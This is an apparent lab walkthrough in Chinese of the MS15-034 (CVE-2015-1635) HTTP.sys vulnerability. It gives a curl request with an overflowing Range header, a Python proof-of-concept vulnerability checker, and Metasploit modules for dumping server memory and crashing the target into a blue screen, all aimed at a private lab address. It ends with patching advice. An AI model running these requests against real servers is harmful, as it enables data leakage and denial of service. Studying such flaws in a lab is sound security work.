1.1.1 漏洞描述
在2015年4月安全更新檔日,微軟釋出的衆多安全更新中,修複了HTTP.sys中一處允許遠端執行代碼漏洞,編号為:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻擊者隻需要發送惡意的http請求資料包,就可能遠端讀取IIS伺服器的記憶體資料,或使伺服器系統藍屏崩潰。根據公告顯示,該漏洞對伺服器系統造成了不小的影響,主要影響了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流伺服器作業系統。
1.1.2 漏洞測試
環境搭建:
靶機: win7(192.168.80.130)
攻擊機: kali(192.168.80.129)
(1)使用curl工具進行測試,測試指令:
curl http://192.168.80.130 -H “Host: 192.168.80.130” -H “Range: bytes=0-18446744073709551615”
測試結果截圖:
(2)使用POC測試,代碼為:
import socket
import random
ipAddr = "192.168.80.130" # 漏洞主機ip或域名
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
print("[*] Audit Started")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1.encode())
boringResp = client_socket.recv(1024).decode()
if "Microsoft" not in boringResp:
print("[*] Not IIS")
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req.encode())
goodResp = client_socket.recv(1024).decode()
if "Requested Range Not Satisfiable" in goodResp:
print("[!!] Looks VULN")
elif " The request has an invalid header name" in goodResp:
print("[*] Looks Patched")
else:
print("[*] Unexpected response, cannot discern patch status")
測試結果截圖:
1.1.3 漏洞利用
(1)利用ms15-034漏洞讀取伺服器記憶體資料
借助metasploit平台,截圖如下:
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
set rhosts 192.168.80.130
run
(2)利用ms15-034漏洞進行ddos攻擊
同樣借助metasploit平台,截圖如下:
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.80.130
set threads 10
run
攻擊開始後,win7瞬間藍屏然後自動重新開機,截圖如下:
1.1.4 漏洞修複
禁用IIS核心緩存(可能降低IIS性能)
可能不行,最好的方式還是打官方更新檔